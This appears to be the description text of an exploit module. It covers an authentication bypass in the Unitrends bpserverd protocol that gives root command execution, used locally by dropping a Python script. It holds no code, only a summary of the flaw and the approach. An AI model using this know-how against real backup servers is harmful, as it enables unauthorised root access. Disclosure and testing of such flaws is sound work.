        It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
        has an issue in which its authentication can be bypassed.  A remote attacker could use this
        issue to execute arbitrary commands with root privilege on the target system.
        This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the
        localhost by dropping a python script on the local file system.  Unitrends stopped
        bpserverd from listening remotely on version 10.
